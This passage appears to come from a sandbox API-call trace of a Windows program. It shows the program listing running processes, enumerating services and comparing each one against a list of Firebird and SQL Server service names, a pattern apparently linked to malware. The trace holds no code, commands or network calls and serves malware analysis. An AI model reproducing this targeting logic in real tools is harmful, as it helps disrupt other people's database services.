lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.299] lstrlenW (lpString="svchost.exe") returned 11 [0114.300] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.300] lstrlenW (lpString="svchost.exe") returned 11 [0114.300] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0114.301] lstrlenW (lpString="dwm.exe") returned 7 [0114.301] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0114.301] lstrlenW (lpString="explorer.exe") returned 12 [0114.301] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0114.302] lstrlenW (lpString="spoolsv.exe") returned 11 [0114.302] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.302] lstrlenW (lpString="taskhost.exe") returned 12 [0114.303] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.303] lstrlenW (lpString="svchost.exe") returned 11 [0114.303] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.304] lstrlenW (lpString="taskeng.exe") returned 11 [0114.304] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.304] lstrlenW (lpString="taskhost.exe") returned 12 [0114.304] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0114.305] lstrlenW (lpString="fixwaves.exe") returned 12 [0114.305] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0114.306] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0114.306] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0114.306] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0114.306] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0114.307] lstrlenW (lpString="monsaver.exe") returned 12 [0114.307] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0114.308] lstrlenW (lpString="dosesugar.exe") returned 13 [0114.308] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0114.308] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0114.308] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0114.309] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0114.309] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0114.309] lstrlenW (lpString="nonprofit top.exe") returned 17 [0114.309] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0114.310] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0114.310] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0114.311] lstrlenW (lpString="accused.exe") returned 11 [0114.311] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0114.311] lstrlenW (lpString="governance.exe") returned 14 [0114.311] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0114.312] lstrlenW (lpString="old.exe") returned 7 [0114.312] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0114.312] lstrlenW (lpString="xi cg.exe") returned 9 [0114.312] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0114.313] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0114.313] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0114.314] lstrlenW (lpString="burlington.exe") returned 14 [0114.314] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0114.314] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0114.314] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0114.315] lstrlenW (lpString="buildings.exe") returned 13 [0114.315] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0114.315] lstrlenW (lpString="predictions_took.exe") returned 20 [0114.315] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0114.316] lstrlenW (lpString="carry_dns.exe") returned 13 [0114.316] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0114.317] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0114.317] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.317] lstrlenW (lpString="svchost.exe") returned 11 [0114.317] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0114.318] lstrlenW (lpString="sppsvc.exe") returned 10 [0114.318] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.319] lstrlenW (lpString="svchost.exe") returned 11 [0114.319] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0114.319] lstrlenW (lpString="msiexec.exe") returned 11 [0114.319] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0114.320] lstrlenW (lpString="cmd.exe") returned 7 [0114.320] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.320] lstrlenW (lpString="conhost.exe") returned 11 [0114.320] Process32NextW (in: hSnapshot=0x16c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0114.321] CloseHandle (hObject=0x16c) returned 1 [0114.321] Sleep (dwMilliseconds=0x1f4) [0115.525] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52c2c8 [0115.525] EnumServicesStatusExW (in: hSCManager=0x52c2c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0115.525] GetLastError () returned 0xea [0115.525] EnumServicesStatusExW (in: hSCManager=0x52c2c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5dd950, cbBufSize=0x13a2, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5dd950, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0115.526] CloseServiceHandle (hSCObject=0x52c2c8) returned 1 [0115.526] lstrlenW (lpString="Appinfo") returned 7 [0115.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0115.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0115.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0115.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0115.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0115.526] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0115.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0115.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0115.526] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0115.526] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0115.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0115.526] lstrlenW (lpString="AudioSrv") returned 8 [0115.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0115.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0115.526] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0115.526] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0115.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0115.526] lstrlenW (lpString="BFE") returned 3 [0115.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0115.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0115.526] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0115.526] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0115.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0115.526] lstrlenW (lpString="CryptSvc") returned 8 [0115.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0115.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0115.527] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0115.527] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0115.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0115.527] lstrlenW (lpString="CscService") returned 10 [0115.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0115.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0115.527] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0115.527] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0115.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0115.527] lstrlenW (lpString="DcomLaunch") returned 10 [0115.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0115.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0115.527] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0115.527] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0115.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0115.527] lstrlenW (lpString="Dhcp") returned 4 [0115.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0115.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0115.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0115.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0115.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0115.527] lstrlenW (lpString="Dnscache") returned 8 [0115.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0115.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0115.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0115.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0115.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0115.527] lstrlenW (lpString="DPS") returned 3 [0115.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0115.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0115.527] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0115.527] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0115.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0115.527] lstrlenW (lpString="eventlog") returned 8 [0115.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0115.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0115.527] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0115.527] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0115.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0115.527] lstrlenW (lpString="EventSystem") returned 11 [0115.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0115.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0115.527] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0115.527] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0115.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0115.528] lstrlenW (lpString="FontCache") returned 9 [0115.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0115.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0115.528] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0115.528] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0115.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0115.528] lstrlenW (lpString="gpsvc") returned 5 [0115.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0115.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0115.528] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0115.528] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0115.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0115.528] lstrlenW (lpString="iphlpsvc") returned 8 [0115.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0115.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0115.528] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0115.528] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0115.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0115.528] lstrlenW (lpString="LanmanServer") returned 12 [0115.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0115.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0115.528] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0115.528] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0115.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0115.528] lstrlenW (lpString="LanmanWorkstation") returned 17 [0115.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0115.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0115.528] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0115.528] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0115.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0115.528] lstrlenW (lpString="lmhosts") returned 7 [0115.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0115.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0115.528] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0115.528] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0115.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0115.528] lstrlenW (lpString="MMCSS") returned 5 [0115.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0115.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0115.528] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0115.528] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0115.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0115.529] lstrlenW (lpString="MpsSvc") returned 6 [0115.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0115.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0115.529] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0115.529] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0115.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0115.529] lstrlenW (lpString="Netman") returned 6 [0115.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0115.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0115.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0115.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0115.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0115.529] lstrlenW (lpString="netprofm") returned 8 [0115.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0115.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0115.529] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0115.529] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0115.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0115.529] lstrlenW (lpString="NlaSvc") returned 6 [0115.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0115.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0115.529] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0115.529] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0115.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0115.529] lstrlenW (lpString="nsi") returned 3 [0115.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0115.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0115.529] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0115.529] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0115.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0115.529] lstrlenW (lpString="PcaSvc") returned 6 [0115.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0115.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0115.529] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0115.529] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0115.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0115.529] lstrlenW (lpString="PlugPlay") returned 8 [0115.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0115.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0115.530] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0115.530] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0115.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0115.530] lstrlenW (lpString="Power") returned 5 [0115.530] lstrcmpiW 